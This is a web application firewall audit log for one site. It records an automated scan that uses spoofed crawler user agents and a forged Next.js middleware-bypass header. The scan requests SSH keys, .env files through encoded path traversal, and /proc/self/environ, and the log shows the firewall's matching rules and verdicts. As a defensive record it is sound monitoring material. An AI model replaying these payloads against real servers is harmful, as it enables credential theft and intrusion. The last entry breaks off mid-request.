Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqZoOisVWymXUono-eRUvQAAAAM"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554032170 56665 (- - -)
Stopwatch2: 1789290554032170 56665; combined=55317, p1=217, p2=54760, p3=0, p4=0, p5=340, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4568e756-Z--
--ea8c3e77-A--
[13/Sep/2026:12:09:14.089268 +0300] aqZoOjTJ6xTvcJoem7f6aQAAAFg 34.73.246.242 37562 127.0.0.1 7081
--ea8c3e77-B--
GET /.ssh/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ea8c3e77-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ea8c3e77-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/config"] [unique_id "aqZoOjTJ6xTvcJoem7f6aQAAAFg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.ssh/config"] [unique_id "aqZoOjTJ6xTvcJoem7f6aQAAAFg"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554035006 54340 (- - -)
Stopwatch2: 1789290554035006 54340; combined=53094, p1=215, p2=52594, p3=0, p4=0, p5=285, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea8c3e77-Z--
--3e094158-A--
[13/Sep/2026:12:09:14.146722 +0300] aqZoOisVWymXUono-eRUvgAAAAU 34.73.246.242 37574 127.0.0.1 7081
--3e094158-B--
GET /id_rsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3e094158-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3e094158-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_rsa"] [unique_id "aqZoOisVWymXUono-eRUvgAAAAU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_rsa"] [unique_id "aqZoOisVWymXUono-eRUvgAAAAU"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554085921 60851 (- - -)
Stopwatch2: 1789290554085921 60851; combined=59477, p1=258, p2=58873, p3=0, p4=0, p5=345, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e094158-Z--
--02e5143b-A--
[13/Sep/2026:12:09:14.211292 +0300] aqZoOmM7dE9KgIIOpQhz8gAAAMg 34.73.246.242 37576 127.0.0.1 7081
--02e5143b-B--
GET /id_dsa HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--02e5143b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--02e5143b-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_dsa"] [unique_id "aqZoOmM7dE9KgIIOpQhz8gAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/id_dsa"] [unique_id "aqZoOmM7dE9KgIIOpQhz8gAAAMg"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554143499 67857 (- - -)
Stopwatch2: 1789290554143499 67857; combined=65838, p1=412, p2=65099, p3=0, p4=0, p5=326, sr=154, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--02e5143b-Z--
--e2f26514-A--
[13/Sep/2026:12:09:14.855133 +0300] aqZoOkwu1RSkptiiNIX4DQAAAIQ 34.73.246.242 37770 127.0.0.1 7081
--e2f26514-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e2f26514-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e2f26514-E--
--e2f26514-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqZoOkwu1RSkptiiNIX4DQAAAIQ"]
Stopwatch: 1789290554850186 5013 (- - -)
Stopwatch2: 1789290554850186 5013; combined=3721, p1=237, p2=3369, p3=56, p4=7, p5=52, sr=82, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e2f26514-Z--
--0c40156e-A--
[13/Sep/2026:12:09:14.883990 +0300] aqZoOmM7dE9KgIIOpQhz@gAAAMU 34.73.246.242 37726 127.0.0.1 7081
--0c40156e-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0c40156e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0c40156e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZoOmM7dE9KgIIOpQhz@gAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290554761738 122317 (- - -)
Stopwatch2: 1789290554761738 122317; combined=3521, p1=220, p2=3238, p3=0, p4=0, p5=63, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0c40156e-Z--
--7372ee42-A--
[13/Sep/2026:12:09:14.969414 +0300] aqZoOmM7dE9KgIIOpQhz-AAAAM8 34.73.246.242 37786 127.0.0.1 7081
--7372ee42-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7372ee42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7372ee42-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqZoOmM7dE9KgIIOpQhz-AAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789290554964555 4928 (- - -)
Stopwatch2: 1789290554964555 4928; combined=3470, p1=240, p2=2945, p3=0, p4=0, p5=284, sr=80, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7372ee42-Z--
--f9872f4f-A--
[13/Sep/2026:12:09:14.969855 +0300] aqZoOkwu1RSkptiiNIX4DAAAAIY 34.73.246.242 37760 127.0.0.1 7081
--f9872f4f-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f9872f4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f9872f4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZoOkwu1RSkptiiNIX4DAAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290554836107 133806 (- - -)
Stopwatch2: 1789290554836107 133806; combined=4106, p1=278, p2=3793, p3=0, p4=0, p5=35, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f9872f4f-Z--
--d6bccf37-A--
[13/Sep/2026:12:09:14.970206 +0300] aqZoOkwu1RSkptiiNIX4CwAAAII 34.73.246.242 37748 127.0.0.1 7081
--d6bccf37-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d6bccf37-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d6bccf37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoOkwu1RSkptiiNIX4CwAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290554825565 144714 (- - -)
Stopwatch2: 1789290554825565 144714; combined=3500, p1=252, p2=3220, p3=0, p4=0, p5=28, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d6bccf37-Z--
--e0699e75-A--
[13/Sep/2026:12:09:15.232145 +0300] aqZoO2M7dE9KgIIOpQhz-wAAAMw 34.73.246.242 37810 127.0.0.1 7081
--e0699e75-B--
GET /files../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e0699e75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e0699e75-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/files../.env"] [unique_id "aqZoO2M7dE9KgIIOpQhz-wAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555165348 66858 (- - -)
Stopwatch2: 1789290555165348 66858; combined=4587, p1=335, p2=4200, p3=0, p4=0, p5=52, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e0699e75-Z--
--f4fe1908-A--
[13/Sep/2026:12:09:15.286944 +0300] aqZoO0wu1RSkptiiNIX4DwAAAJg 34.73.246.242 37840 127.0.0.1 7081
--f4fe1908-B--
GET /static//app/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f4fe1908-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f4fe1908-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static/app/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4DwAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555137704 149312 (- - -)
Stopwatch2: 1789290555137704 149312; combined=4312, p1=200, p2=4061, p3=0, p4=0, p5=50, sr=68, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4fe1908-Z--
--9e2c8e49-A--
[13/Sep/2026:12:09:15.303410 +0300] aqZoO0wu1RSkptiiNIX4DgAAAIA 34.73.246.242 37790 127.0.0.1 7081
--9e2c8e49-B--
GET /_nuxt/../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
